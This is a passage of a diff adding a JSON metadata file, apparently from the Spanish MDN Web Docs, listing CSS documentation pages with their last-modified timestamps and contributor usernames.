+    "modified": "2019-03-23T22:30:49.892Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::before": {
+    "modified": "2020-11-24T07:28:22.113Z",
+    "contributors": [
+      "chrisdavidmills",
+      "maketas",
+      "IsraelFloresDGA",
+      "israel-munoz",
+      "Yisus777",
+      "teoli",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/::cue": {
+    "modified": "2020-10-15T22:33:08.581Z",
+    "contributors": [
+      "Pablo-No"
+    ]
+  },
+  "Web/CSS/::first-letter": {
+    "modified": "2020-10-15T22:24:50.087Z",
+    "contributors": [
+      "Plumas",
+      "adrymrtnz"
+    ]
+  },
+  "Web/CSS/::first-line": {
+    "modified": "2020-10-15T22:24:51.827Z",
+    "contributors": [
+      "Plumas",
+      "ivanenoriega",
+      "adrymrtnz"
+    ]
+  },
+  "Web/CSS/::marker": {
+    "modified": "2020-10-15T22:22:16.686Z",
+    "contributors": [
+      "qwerty726"
+    ]
+  },
+  "Web/CSS/::placeholder": {
+    "modified": "2020-10-15T22:26:50.005Z",
+    "contributors": [
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/CSS/::selection": {
+    "modified": "2019-03-23T23:33:09.211Z",
+    "contributors": [
+      "canobius",
+      "arroutado",
+      "jesu_abner",
+      "teoli",
+      "pepeheron"
+    ]
+  },
+  "Web/CSS/::spelling-error": {
+    "modified": "2020-10-15T22:03:59.841Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/CSS/:active": {
+    "modified": "2020-10-15T21:21:49.325Z",
+    "contributors": [
+      "pollirrata",
+      "lajaso",
+      "teoli",
+      "MrBlogger"
+    ]
+  },
+  "Web/CSS/:any": {
+    "modified": "2019-03-23T22:17:18.601Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/:any-link": {
+    "modified": "2020-10-15T21:52:30.387Z",
+    "contributors": [
+      "JFOG",
+      "lajaso",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/:blank": {
+    "modified": "2020-10-15T22:26:47.961Z",
+    "contributors": [
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/CSS/:checked": {
+    "modified": "2020-10-15T21:32:04.510Z",
+    "contributors": [
+      "lajaso",
+      "zxhadow"
+    ]
+  },
+  "Web/CSS/:default": {
+    "modified": "2020-10-15T21:15:24.516Z",
+    "contributors": [
+      "lajaso",
+      "teoli",
+      "Mgjbot",
+      "Nathymig",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/:defined": {
+    "modified": "2020-10-15T22:03:59.600Z",
+    "contributors": [
+      "JFOG",
+      "lajaso"
+    ]
+  },
+  "Web/CSS/:dir": {
+    "modified": "2020-10-15T21:44:46.376Z",
+    "contributors": [
+      "lajaso",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:disabled": {
+    "modified": "2020-10-15T21:43:53.936Z",
+    "contributors": [
+      "lajaso",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:empty": {
+    "modified": "2020-10-15T21:16:01.534Z",
+    "contributors": [
+      "IsraelFloresDGA",
+      "lajaso",
+      "teoli",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/:enabled": {
+    "modified": "2020-10-15T21:44:29.292Z",
+    "contributors": [
+      "lajaso",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:first": {
+    "modified": "2020-10-15T21:43:42.281Z",
+    "contributors": [
+      "lajaso",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:first-child": {
+    "modified": "2020-10-15T21:19:55.452Z",
+    "contributors": [
+      "lajaso",
+      "teoli",
+      "percy@mozilla.pe",
+      "jsalinas"
+    ]
+  },
+  "Web/CSS/:first-of-type": {
+    "modified": "2020-10-15T21:44:49.790Z",
+    "contributors": [
+      "lajaso",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:focus": {
+    "modified": "2020-10-15T21:43:30.779Z",
+    "contributors": [
+      "evaferreira",
+      "lajaso",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:focus-visible": {
+    "modified": "2020-10-15T22:33:54.482Z",
+    "contributors": [
+      "arauz.gus"
+    ]
+  },
+  "Web/CSS/:focus-within": {
+    "modified": "2020-12-03T05:40:25.197Z",
+    "contributors": [
+      "AlePerez92",
+      "carlosviteri",
+      "lajaso",
+      "AntonioNavajasOjeda"
+    ]
+  },
+  "Web/CSS/:fullscreen": {
+    "modified": "2020-10-15T21:51:48.377Z",
+    "contributors": [
+      "lajaso",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/:has": {
+    "modified": "2019-03-23T22:36:22.444Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:host": {
+    "modified": "2020-10-15T22:04:25.470Z",
+    "contributors": [
+      "rhssr",
+      "lajaso"
+    ]
+  },
+  "Web/CSS/:hover": {
+    "modified": "2020-10-15T21:19:57.161Z",
+    "contributors": [
+      "lajaso",
+      "teoli",
+      "percy@mozilla.pe",
+      "ccarruitero"
+    ]
+  },
+  "Web/CSS/:in-range": {
+    "modified": "2020-10-15T21:52:29.381Z",
+    "contributors": [
+      "lajaso",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/:indeterminate": {
+    "modified": "2020-10-15T21:52:30.617Z",
+    "contributors": [
+      "lajaso",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/:invalid": {
+    "modified": "2020-10-15T21:25:32.434Z",
+    "contributors": [
+      "lajaso",
+      "teoli",
+      "ccastillos"
+    ]
+  },
+  "Web/CSS/:lang": {
+    "modified": "2020-10-15T21:49:25.234Z",
+    "contributors": [
+      "lajaso",
+      "sapox"
+    ]
+  },
+  "Web/CSS/:last-child": {
+    "modified": "2020-10-15T21:19:56.585Z",
+    "contributors": [
+      "lajaso",
+      "MarkelCuesta",
+      "carloque",
+      "teoli",
+      "ccarruitero",
+      "percy@mozilla.pe"
+    ]
+  },
+  "Web/CSS/:last-of-type": {
+    "modified": "2020-10-15T21:19:57.770Z",
+    "contributors": [
+      "lajaso",
+      "teoli",
+      "jesanchez",
+      "jsalinas"
+    ]
+  },
+  "Web/CSS/:left": {
+    "modified": "2020-10-15T22:03:35.116Z",
+    "contributors": [
+      "Tartarin2018",
+      "lajaso",
+      "Skrinch"
+    ]
+  },
+  "Web/CSS/:link": {
+    "modified": "2020-10-15T21:54:15.946Z",
+    "contributors": [
+      "lajaso",
+      "Jhonatangiraldo"
+    ]
+  },
+  "Web/CSS/:not()": {
+    "modified": "2020-11-30T09:54:17.195Z",
+    "contributors": [
+      "blanchart",
+      "lajaso",
+      "teoli",
+      "jotadeaa",
+      "luisgagocasas"
+    ]
+  },
+  "Web/CSS/:nth-child": {
+    "modified": "2020-10-15T21:20:38.559Z",
+    "contributors": [
+      "ulisestrujillo",
+      "lajaso",
+      "teoli",
+      "tuxtitlan"
+    ]
+  },
+  "Web/CSS/:nth-last-child": {
+    "modified": "2020-10-15T21:42:40.958Z",
+    "contributors": [
+      "lajaso",
+      "alkaithil"
+    ]
+  },
+  "Web/CSS/:nth-last-of-type": {
+    "modified": "2020-10-15T22:04:20.811Z",
+    "contributors": [
+      "AltheaE",
+      "lajaso"
+    ]
+  },
+  "Web/CSS/:nth-of-type": {
+    "modified": "2020-10-15T21:43:57.823Z",
+    "contributors": [
+      "lajaso",
+      "edkalel"
+    ]
+  },
+  "Web/CSS/:only-child": {
+    "modified": "2020-10-15T21:42:38.914Z",
+    "contributors": [
+      "lajaso",
+      "alkaithil"
+    ]
+  },
+  "Web/CSS/:only-of-type": {
+    "modified": "2020-10-15T22:04:23.870Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/CSS/:optional": {
+    "modified": "2020-10-15T22:03:59.272Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/CSS/:out-of-range": {
+    "modified": "2020-10-15T21:52:29.356Z",
+    "contributors": [
+      "lajaso",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/:placeholder-shown": {
+    "modified": "2020-10-15T22:04:23.723Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/CSS/:read-only": {
+    "modified": "2020-10-15T21:58:16.699Z",
+    "contributors": [
+      "lajaso",
+      "j-light"
+    ]
+  },
+  "Web/CSS/:read-write": {
+    "modified": "2020-10-15T22:04:19.084Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/CSS/:required": {
+    "modified": "2020-10-15T21:44:28.186Z",
+    "contributors": [
+      "lajaso",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:right": {
+    "modified": "2020-10-15T22:04:16.818Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/CSS/:root": {
+    "modified": "2020-10-15T21:34:17.481Z",
+    "contributors": [
+      "lajaso",
+      "JavierPeris",
+      "Xaviju"
+    ]
+  },
+  "Web/CSS/:target": {
+    "modified": "2020-10-15T21:44:29.225Z",
+    "contributors": [
+      "lajaso",
+      "moisesalmonte",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:valid": {
+    "modified": "2020-10-15T21:45:32.621Z",
+    "contributors": [
+      "lajaso",
+      "jorgesancheznet"
+    ]
+  },
+  "Web/CSS/:visited": {
+    "modified": "2020-10-15T22:04:02.908Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/CSS/@charset": {
+    "modified": "2019-03-23T22:29:53.691Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/@counter-style": {
+    "modified": "2019-03-18T21:16:44.974Z",
+    "contributors": [
+      "jamesbrown0"
+    ]
+  },
+  "Web/CSS/@counter-style/additive-symbols": {
+    "modified": "2019-03-23T22:18:02.836Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/@counter-style/symbols": {
+    "modified": "2019-03-18T21:15:43.336Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/@document": {
+    "modified": "2020-10-15T22:01:34.650Z",
+    "contributors": [
+      "SphinxKnight",
+      "lsosa81"
+    ]
+  },
+  "Web/CSS/@font-face": {
+    "modified": "2019-09-26T12:01:00.515Z",
+    "contributors": [
+      "ZodiacFireworks",
+      "fscholz",
+      "rtunon",
+      "ozkxr",
+      "teoli",
+      "ccarruitero",
+      "Nuc134rB0t",
+      "inma_610"
+    ]
+  },
+  "Web/CSS/@font-face/font-display": {
+    "modified": "2020-10-15T21:59:11.206Z",
+    "contributors": [
+      "AlePerez92",
+      "nuwanda555"
+    ]
+  },
+  "Web/CSS/@font-face/font-family": {
+    "modified": "2019-03-23T22:37:47.693Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/@font-face/font-style": {
+    "modified": "2019-03-23T22:38:47.174Z",
+    "contributors": [
+      "danielfdez"
+    ]
+  },
+  "Web/CSS/@font-face/src": {
+    "modified": "2019-03-23T22:17:51.245Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/@font-face/unicode-range": {
+    "modified": "2020-10-15T21:50:47.753Z",
+    "contributors": [
+      "SphinxKnight",
+      "giobeatle1794"
+    ]
+  },
+  "Web/CSS/@font-feature-values": {
+    "modified": "2019-03-23T22:22:14.476Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/@import": {
+    "modified": "2019-03-23T23:38:27.735Z",
+    "contributors": [
+      "JorgeCapillo",
+      "Guillaume-Heras",
+      "mrstork",
+      "fscholz",
+      "teoli",
+      "jsalinas",
+      "kamel.araujo"
+    ]
+  },
+  "Web/CSS/@keyframes": {
+    "modified": "2019-03-23T23:36:20.944Z",
+    "contributors": [
+      "Sebastianz",
+      "fscholz",
+      "Sheppy",
+      "teoli",
+      "jesanchez",
+      "Velociraktor"
+    ]
+  },
+  "Web/CSS/@media": {
+    "modified": "2019-03-23T23:16:54.490Z",
+    "contributors": [
+      "israel-munoz",
+      "fscholz",
+      "teoli",
+      "sanathy"
+    ]
+  },
+  "Web/CSS/@media/altura": {
+    "modified": "2020-10-15T22:23:38.815Z",
+    "contributors": [
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/CSS/@media/color": {
+    "modified": "2019-03-18T21:15:44.481Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/@media/display-mode": {
+    "modified": "2020-10-15T22:23:39.088Z",
+    "contributors": [
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/CSS/@media/hover": {
+    "modified": "2020-10-15T22:23:44.104Z",
+    "contributors": [
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/CSS/@media/pointer": {
+    "modified": "2020-10-15T22:27:26.867Z",
+    "contributors": [
+      "qwerty726"
+    ]
+  },
+  "Web/CSS/@media/resolución": {
+    "modified": "2019-03-23T22:38:40.675Z",
+    "contributors": [
+      "Conradin88"
+    ]
+  },
+  "Web/CSS/@media/width": {
+    "modified": "2019-03-23T22:04:44.569Z",
+    "contributors": [
+      "jswisher",
+      "wilton-cruz"
+    ]
+  },
+  "Web/CSS/@namespace": {
+    "modified": "2020-10-15T22:29:21.901Z",
+    "contributors": [
+      "qwerty726"
+    ]
+  },
+  "Web/CSS/@page": {
+    "modified": "2019-03-18T21:35:50.476Z",
+    "contributors": [
+      "luismj"
+    ]
+  },
+  "Web/CSS/@supports": {
+    "modified": "2020-10-15T21:43:18.021Z",
+    "contributors": [
+      "SJW",
+      "angelf",
+      "MilkSnake"
+    ]
+  },
+  "Web/CSS/@viewport": {
+    "modified": "2019-03-18T21:16:54.012Z",
+    "contributors": [
+      "cvrebert"
+    ]
+  },
+  "Web/CSS/@viewport/height": {
+    "modified": "2019-03-18T21:38:59.253Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/@viewport/width": {
+    "modified": "2019-03-18T21:16:26.082Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/At-rule": {
+    "modified": "2019-03-23T22:29:55.371Z",
+    "contributors": [
+      "Legioinvicta",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/CSS_Animations": {
+    "modified": "2019-03-23T22:43:48.247Z",
+    "contributors": [
+      "teoli"
+    ]
+  },
+  "Web/CSS/CSS_Animations/Detectar_soporte_de_animación_CSS": {
+    "modified": "2019-03-23T22:41:48.122Z",
+    "contributors": [
+      "wbamberg",
+      "CristhianLora1",
+      "DracotMolver"
+    ]
+  },
+  "Web/CSS/CSS_Animations/Tips": {
+    "modified": "2020-08-16T13:05:40.057Z",
+    "contributors": [
+      "CamilaAchury",
+      "SphinxKnight",
+      "AlbertoVargasMoreno"
+    ]
+  },
+  "Web/CSS/CSS_Animations/Usando_animaciones_CSS": {
+    "modified": "2020-07-06T16:16:21.887Z",
+    "contributors": [
+      "Jazperist",
+      "miguelgilmartinez",
+      "fermelli",
+      "GasGen",
+      "KattyaCuevas",
+      "rod232",
+      "Jvalenz1982",
+      "SphinxKnight",
+      "teoli",
+      "onerbs",
+      "Luis_Calvo",
+      "ulisescab"
+    ]
+  },
+  "Web/CSS/CSS_Background_and_Borders": {
+    "modified": "2019-03-23T22:41:48.399Z",
+    "contributors": [
+      "teoli"
+    ]
+  },
+  "Web/CSS/CSS_Background_and_Borders/Border-image_generador": {
+    "modified": "2019-03-23T22:41:48.777Z",
+    "contributors": [
+      "teoli",
+      "mcclone2001"
+    ]
+  },
+  "Web/CSS/CSS_Background_and_Borders/Border-radius_generator": {
+    "modified": "2019-03-18T21:15:42.476Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds": {
+    "modified": "2019-03-23T22:17:03.740Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/CSS_Colors": {
+    "modified": "2019-03-23T22:23:30.277Z",
+    "contributors": [
+      "betelleclerc",
+      "Krenair"
+    ]
+  },
+  "Web/CSS/CSS_Colors/Herramienta_para_seleccionar_color": {
+    "modified": "2019-03-23T22:23:27.596Z",
+    "contributors": [
+      "elihro"
+    ]
+  },
+  "Web/CSS/CSS_Containment": {
+    "modified": "2020-10-21T02:39:25.867Z",
+    "contributors": [
+      "SphinxKnight",
+      "RoqueAlonso"
+    ]
+  },
+  "Web/CSS/CSS_Flexible_Box_Layout": {
+    "modified": "2019-03-23T22:43:42.897Z",
+    "contributors": [
+      "danpaltor",
+      "tipoqueno",
+      "pepe2016",
+      "fscholz"
+    ]
+  },
+  "Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container": {
+    "modified": "2020-09-12T08:36:23.473Z",
+    "contributors": [
+      "x-N0",
+      "FrankGalanB",
+      "JulianCGG",
+      "PauloColorado",
+      "Irvandoval",
+      "turuto"
+    ]
+  },
+  "Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox": {
+    "modified": "2019-11-06T19:10:32.985Z",
+    "contributors": [
+      "tonyrodz"
+    ]
+  },
+  "Web/CSS/CSS_Flexible_Box_Layout/Casos_de_uso_tipicos_de_Flexbox.": {
+    "modified": "2019-03-18T21:18:33.523Z",
+    "contributors": [
+      "danpaltor"
+    ]
+  },
+  "Web/CSS/CSS_Flexible_Box_Layout/Conceptos_Basicos_de_Flexbox": {
+    "modified": "2020-03-25T21:15:58.856Z",
+    "contributors": [
+      "amazing79",
+      "otello1971",
+      "cwalternicolas"
+    ]
+  },
+  "Web/CSS/CSS_Flexible_Box_Layout/Usando_flexbox_para_componer_aplicaciones_web": {
+    "modified": "2019-03-23T22:31:07.427Z",
+    "contributors": [
+      "miguelsp"
+    ]
+  },
+  "Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS": {
+    "modified": "2019-05-15T19:01:41.614Z",
+    "contributors": [
+      "luzbelmex",
+      "VictorSan45",
+      "NeXuZZ-SCM",
+      "Tonylu11",
+      "javier_junin",
+      "AlePerez92",
+      "MMariscal",
+      "fscholz",
+      "ArcangelZith",
+      "FNK",
+      "rippe2hl",
+      "StripTM",
+      "joan.leon",
+      "arturo_sanz"
+    ]
+  },
+  "Web/CSS/CSS_Flow_Layout": {
+    "modified": "2019-03-18T21:21:28.417Z",
+    "contributors": [
+      "ariasfernando"
+    ]
+  },
+  "Web/CSS/CSS_Fonts": {
+    "modified": "2019-03-23T22:18:19.285Z",
+    "contributors": [
+      "Squirrel18"
+    ]
+  },
+  "Web/CSS/CSS_Grid_Layout": {
+    "modified": "2020-08-21T18:16:34.348Z",
+    "contributors": [
+      "dongerardor",
+      "yomar-dev",
+      "amaiafilo",
+      "AlePerez92",
+      "aribet",
+      "StripTM"
+    ]
+  },
+  "Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout": {
+    "modified": "2019-11-06T13:46:19.795Z",
+    "contributors": [
+      "tonyrodz"
+    ]
+  },
+  "Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout": {
+    "modified": "2019-05-30T17:37:47.442Z",
+    "contributors": [
+      "narvmtz",
+      "ocamachor"
+    ]
+  },
+  "Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility": {
+    "modified": "2019-06-05T03:51:45.202Z",
+    "contributors": [
+      "blanchart"
+    ]
+  },
+  "Web/CSS/CSS_Grid_Layout/Conceptos_Básicos_del_Posicionamiento_con_Rejillas": {
+    "modified": "2019-10-01T23:38:23.285Z",
+    "contributors": [
+      "jcastillaingeniero",
+      "amaiafilo",
+      "IsraelFloresDGA",
+      "jorgemontoyab"
+    ]
+  },
+  "Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout": {
+    "modified": "2019-03-18T21:34:10.349Z",
+    "contributors": [
+      "amaiafilo"
+    ]
+  },
+  "Web/CSS/CSS_Grid_Layout/Relacion_de_Grid_Layout": {
+    "modified": "2019-12-18T12:24:17.824Z",
+    "contributors": [
+      "amazing79",
+      "natalygiraldo",
+      "amaiafilo",
+      "TavoTrash",
+      "aribet",
+      "jorgemontoyab"
+    ]
+  },
+  "Web/CSS/CSS_Logical_Properties": {
+    "modified": "2019-03-18T21:11:22.321Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/CSS_Logical_Properties/Basic_concepts": {
+    "modified": "2019-10-17T05:37:57.001Z",
+    "contributors": [
+      "blanchart",
+      "teffcode"
+    ]
+  },
+  "Web/CSS/CSS_Logical_Properties/Dimensionamiento": {
+    "modified": "2019-03-19T19:17:23.927Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/CSS_Logical_Properties/Floating_and_positioning": {
+    "modified": "2019-03-18T20:35:38.553Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/CSS_Logical_Properties/Margins_borders_padding": {
+    "modified": "2019-03-19T13:30:41.950Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/CSS_Modelo_Caja": {
+    "modified": "2019-03-23T22:37:33.458Z",
+    "contributors": [
+      "tipoqueno",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/CSS_Modelo_Caja/Introducción_al_modelo_de_caja_de_CSS": {
+    "modified": "2019-08-28T10:35:24.055Z",
+    "contributors": [
+      "tipoqueno"
+    ]
+  },
+  "Web/CSS/CSS_Modelo_Caja/Mastering_margin_collapsing": {
+    "modified": "2019-03-23T22:32:15.462Z",
+    "contributors": [
+      "amaiafilo",
+      "Ralexhx",
+      "javichito"
+    ]
+  },
+  "Web/CSS/CSS_Motion_Path": {
+    "modified": "2020-10-15T22:26:49.512Z",
+    "contributors": [
+      "josegarciamanez"
+    ]
+  },
+  "Web/CSS/CSS_Positioning": {
+    "modified": "2019-03-23T22:32:36.509Z",
+    "contributors": [
+      "javichito",
+      "davidhbrown"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/entendiendo_z_index": {
+    "modified": "2019-03-18T20:42:17.583Z",
+    "contributors": [
+      "ChipTime",
+      "javichito"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/entendiendo_z_index/Agregando_z-index": {
+    "modified": "2019-03-23T22:32:38.884Z",
+    "contributors": [
+      "javichito"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/entendiendo_z_index/Apilamiento_y_float": {
+    "modified": "2019-04-26T07:22:46.044Z",
+    "contributors": [
+      "SphinxKnight",
+      "LaGallinaTuruleta",
+      "javichito"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/entendiendo_z_index/El_contexto_de_apilamiento": {
+    "modified": "2019-03-23T22:32:44.958Z",
+    "contributors": [
+      "javichito"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/entendiendo_z_index/Stacking_without_z-index": {
+    "modified": "2019-03-23T22:32:47.571Z",
+    "contributors": [
+      "javichito"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_1_del_contexto_de_apilamiento": {
+    "modified": "2019-03-23T22:32:36.821Z",
+    "contributors": [
+      "javichito"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_2_del_contexto_de_apilamiento": {
+    "modified": "2019-03-23T22:32:34.821Z",
+    "contributors": [
+      "javichito"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_3_del_contexto_de_apilamiento": {
+    "modified": "2019-03-23T22:32:30.208Z",
+    "contributors": [
+      "javichito"
+    ]
+  },
+  "Web/CSS/CSS_Properties_Reference": {
+    "modified": "2019-03-18T21:24:27.305Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/CSS_Reglas_Condicionales": {
+    "modified": "2019-03-23T22:05:34.864Z",
+    "contributors": [
+      "arnulfolg"
+    ]
+  },
+  "Web/CSS/CSS_Transforms": {
+    "modified": "2019-03-23T22:43:47.978Z",
+    "contributors": [
+      "Sebastianz",
+      "fscholz"
+    ]
+  },
+  "Web/CSS/CSS_Transforms/Using_CSS_transforms": {
+    "modified": "2019-03-24T00:05:10.570Z",
+    "contributors": [
+      "recortes",
+      "fscholz",
+      "teoli",
+      "cristianjav",
+      "ajimix",
+      "another_sam"
+    ]
+  },
+  "Web/CSS/CSS_Transitions": {
+    "modified": "2019-07-24T08:01:48.708Z",
+    "contributors": [
+      "SphinxKnight",
+      "FedericoMarmo",
+      "crojasf",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/CSS_Types": {
+    "modified": "2019-03-18T21:35:39.343Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/CSS/CSS_Writing_Modes": {
+    "modified": "2019-04-10T10:27:10.380Z",
+    "contributors": [
+      "cristianmartinez"
+    ]
+  },
+  "Web/CSS/Cascade": {
+    "modified": "2020-04-20T15:19:07.785Z",
+    "contributors": [
+      "arjusgit",
+      "tw1ttt3r"
+    ]
+  },
+  "Web/CSS/Child_combinator": {
+    "modified": "2019-03-23T22:17:17.663Z",
+    "contributors": [
+      "ExE-Boss",
+      "maguz727",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/Class_selectors": {
+    "modified": "2019-03-23T22:17:19.977Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/Columnas_CSS": {
+    "modified": "2019-03-23T22:28:10.699Z",
+    "contributors": [
+      "Anonymous"
+    ]
+  },
+  "Web/CSS/Comentarios": {
+    "modified": "2019-03-23T22:16:58.806Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/Comenzando_(tutorial_CSS)": {
+    "modified": "2019-03-23T23:39:37.048Z",
+    "contributors": [
+      "teoli",
+      "jsalinas"
+    ]
+  },
+  "Web/CSS/Como_iniciar": {
+    "modified": "2019-01-16T13:59:37.327Z",
+    "contributors": [
+      "teoli",
+      "Izel"
+    ]
+  },
+  "Web/CSS/Como_iniciar/Por_que_usar_CSS": {
+    "modified": "2019-03-23T23:39:38.906Z",
+    "contributors": [
+      "teoli",
+      "jsalinas"
+    ]
+  },
+  "Web/CSS/Como_iniciar/Que_es_CSS": {
+    "modified": "2019-03-24T00:11:28.788Z",
+    "contributors": [
+      "fernandomoreno605",
+      "DavidWebcreate",
+      "aguilarcarlos",
+      "teoli",
+      "LeoHirsch",
+      "dusvilopez",
+      "turekon",
+      "Izel"
+    ]
+  },
+  "Web/CSS/Descendant_combinator": {
+    "modified": "2019-03-23T23:13:24.480Z",
+    "contributors": [
+      "ExE-Boss",
+      "Makiber"
+    ]
+  },
+  "Web/CSS/Elemento_reemplazo": {
+    "modified": "2019-03-23T23:08:30.961Z",
+    "contributors": [
+      "jdbazagaruiz"
+    ]
+  },
+  "Web/CSS/Especificidad": {
+    "modified": "2020-11-14T17:11:45.294Z",
+    "contributors": [
+      "0neomar",
+      "fer",
+      "glrodasz",
+      "mariupereyra",
+      "arjusgit",
+      "DavidGalvis",
+      "gcjuan",
+      "LuisSevillano",
+      "deimidis2",
+      "aeroxmotion",
+      "padrecedano",
+      "Remohir"
+    ]
+  },
+  "Web/CSS/Gradiente": {
+    "modified": "2019-03-23T22:37:34.623Z",
+    "contributors": [
+      "devilkillermc",
+      "mym2013",
+      "Sebastianz",
+      "wizAmit",
+      "slayslot",
+      "Conradin88"
+    ]
+  },
+  "Web/CSS/Herramientas": {
+    "modified": "2019-03-23T22:28:04.142Z",
+    "contributors": [
+      "arturoblack"
+    ]
+  },
+  "Web/CSS/Herramientas/Cubic_Bezier_Generator": {
+    "modified": "2019-03-18T21:20:03.429Z",
+    "contributors": [
+      "gsalinase"
+    ]
+  },
+  "Web/CSS/ID_selectors": {
+    "modified": "2020-10-15T21:52:30.474Z",
+    "contributors": [
+      "lajaso",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/Introducción": {
+    "modified": "2019-03-24T00:09:12.368Z",
+    "contributors": [
+      "luismj",
+      "javierdp",
+      "teoli",
+      "inma_610"
+    ]
+  },
+  "Web/CSS/Introducción/Boxes": {
+    "modified": "2019-03-23T23:02:20.733Z",
+    "contributors": [
+      "albaluna"
+    ]
+  },
+  "Web/CSS/Introducción/Cascading_and_inheritance": {
+    "modified": "2019-03-23T23:02:26.342Z",
+    "contributors": [
+      "carlos.millan3",
+      "eljonims",
+      "mamptecnocrata",
+      "albaluna"
+    ]
+  },
+  "Web/CSS/Introducción/Color": {
+    "modified": "2019-03-23T22:59:44.751Z",
+    "contributors": [
+      "albaluna"
+    ]
+  },
+  "Web/CSS/Introducción/How_CSS_works": {
+    "modified": "2019-03-23T23:02:23.335Z",
+    "contributors": [
+      "mamptecnocrata",
+      "albaluna"
+    ]
+  },
+  "Web/CSS/Introducción/Layout": {
+    "modified": "2019-03-23T22:20:39.961Z",
+    "contributors": [
+      "lavilofam1"
+    ]
+  },
+  "Web/CSS/Introducción/Los:estilos_de_texto": {
+    "modified": "2019-03-23T23:02:09.062Z",
+    "contributors": [
+      "albaluna"
+    ]
+  },
+  "Web/CSS/Introducción/Media": {
+    "modified": "2019-03-18T21:15:11.297Z",
+    "contributors": [
+      "luismj"
+    ]
+  },
+  "Web/CSS/Introducción/Selectors": {
+    "modified": "2019-03-23T23:02:22.202Z",
+    "contributors": [
+      "albaluna"
+    ]
+  },
+  "Web/CSS/Layout_cookbook": {
+    "modified": "2019-03-18T21:22:35.394Z",
+    "contributors": [
+      "StripTM"
+    ]
+  },
+  "Web/CSS/Layout_mode": {
+    "modified": "2019-03-18T21:44:15.658Z",
+    "contributors": [
+      "NeXuZZ-SCM"
+    ]
+  },
+  "Web/CSS/Media_Queries": {
+    "modified": "2020-10-15T22:13:20.096Z",
+    "contributors": [
+      "mikelmg"
+    ]
+  },
+  "Web/CSS/Mozilla_Extensions": {
+    "modified": "2019-03-23T23:21:23.902Z",
+    "contributors": [
+      "ExE-Boss",
+      "Sebastianz",
+      "teoli",
